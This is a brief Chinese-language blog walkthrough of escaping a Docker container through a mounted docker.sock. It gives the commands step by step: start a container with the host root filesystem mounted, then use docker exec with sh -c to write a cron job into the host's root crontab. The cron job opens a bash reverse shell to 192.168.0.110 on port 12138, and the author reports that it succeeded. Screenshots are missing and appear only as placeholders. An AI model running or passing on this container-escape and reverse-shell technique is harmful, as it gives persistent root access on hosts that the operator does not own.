首先判断是否为docker环境,是否存在docker.sock文件,以及判断docker命令是否能够使用

来打印主机信息
docker -H unix:///host/var/run/docker.sock info
反弹shell的环境下无法进入容器终端,无法使用-it进入容器内部
启动一个新的容器,虚拟机根目录挂载到容器test目录下 
docker -H unix:///host/var/run/docker.sock run -v /:/test ubuntu

在这里插入图片描述

可以直接对容器使用docker exec 指定对容器进行操作
docker exec 259b325 ls /test

在这里插入图片描述

但是在使用echo命令时会报错
docker exec 259b325 echo "* * * * * bash -i >& /dev/tcp/192.168.0.101/12138 0>&1" >> /test/var/spool/cron/root

在这里插入图片描述

解决办法

使用-c 命令  将整条命令通过-c传给sh即可
docker exec 259b325 sh -c 'echo "* * * * * bash -i >& /dev/tcp/192.168.0.110/12138 0>&1" >> /test/var/spool/cron/root'

在这里插入图片描述
查看定时任务发现成功写入并且反弹shell
在这里插入图片描述

Logo

权威|前沿|技术|干货|国内首个API全生命周期开发者社区

更多推荐